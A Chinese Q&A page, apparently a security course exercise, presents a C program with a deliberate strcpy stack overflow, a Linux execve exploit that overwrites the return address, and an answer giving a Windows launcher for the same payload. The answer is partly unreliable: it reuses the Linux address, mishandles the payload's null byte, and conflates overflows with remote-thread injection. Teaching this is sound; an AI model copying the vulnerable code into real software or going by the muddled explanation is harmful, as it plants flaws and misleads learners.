下面给出缓冲区溢出漏洞的一个实例,请结合函数调用的栈结构,说明为什么攻击会成功。 test.c #include <stdio.h> #include “string.h” void outputs(char* str){ char buffer[16]; strcpy(buffer, str); printf(“%s \n”, buffer); } void hacker(void){ printf(“being hacked\n”); } int main(int argc, char** argv[]){ outputs(argv[1]); return 0; } 假定hacker函数首地址为0x8048411,则可编写如下的攻击代码实施攻击。 #include <stdio.h> char code[]= “0123456789ABCDEFXXXX” “\x11\x84\x04\x08” “\x00”; int main(void){ char *arg[3]; arg[0]=”./test”; arg[1]=code; arg[2]=NULL; execve(arg[0], arg, NULL); return 0; } 请写出在Windows平台上验证攻击能否成功的代码。如果不成功,请说明原因?通过查阅资料,你能否编写出Windows平台上的一个缓冲区溢出漏洞利用程序?
时间: 2024-01-20 07:02:31 浏览: 72
由于Windows平台和Linux平台的内存布局和调用方式不同,攻击代码需要进行相应的修改。
首先是攻击代码,修改后的代码如下:
```c
#include <stdio.h>
#include <string.h>
#include <windows.h>
char code[] = "0123456789ABCDEFXXXX"
"\x11\x84\x04\x08"
"\x00";
int main(void){
char cmd[1024];
sprintf(cmd, "test.exe %s", code);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed\n");
return 1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
```
在Windows平台上,使用CreateProcess函数来启动目标程序,并将攻击代码作为命令行参数传递给目标程序。等待目标程序结束后,关闭句柄即可。
现在来看攻击的原理。在outputs函数中,使用strcpy将输入的字符串拷贝到了固定长度为16的buffer中,如果输入的字符串长度大于16,则会发生缓冲区溢出。在x86架构的系统中,栈是从高地址往低地址生长的,因此buffer的地址比函数的返回地址更低,攻击者可以通过缓冲区溢出来修改函数的返回地址,从而控制程序的执行流程,实现攻击。
在攻击代码中,将hacker函数的地址0x8048411直接写入了攻击代码中。攻击代码作为参数传递给目标程序后,会被拷贝到栈上,覆盖掉buffer和旧的返回地址,然后将hacker函数的地址作为新的返回地址,这样程序就会跳转到hacker函数执行,实现攻击。
在Windows平台上,也可以通过类似的方式实现缓冲区溢出漏洞的利用。具体来说,可以使用类似于攻击代码中的方法,在目标进程中分配内存,将攻击代码写入内存,然后通过CreateRemoteThread函数创建一个远程线程,在远程线程中执行攻击代码。在攻击代码中,可以将攻击者想要执行的代码写入缓冲区中,并利用缓冲区溢出漏洞修改程序的返回地址,从而执行恶意代码。
阅读全文